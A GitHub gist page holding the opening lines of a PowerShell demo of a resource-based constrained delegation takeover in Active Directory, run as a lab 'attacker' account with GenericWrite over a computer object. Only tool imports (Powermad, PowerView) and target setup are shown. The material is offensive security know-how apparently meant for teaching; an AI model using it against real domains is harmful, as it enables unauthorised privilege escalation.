Skip to content

Instantly share code, notes, and snippets.

@s-ebaid
s-ebaid / rbcd_demo.ps1
Created December 12, 2021 16:06 — forked from S3cur3Th1sSh1t/rbcd_demo.ps1
Resource-based constrained delegation computer DACL takeover demo
# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami
# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"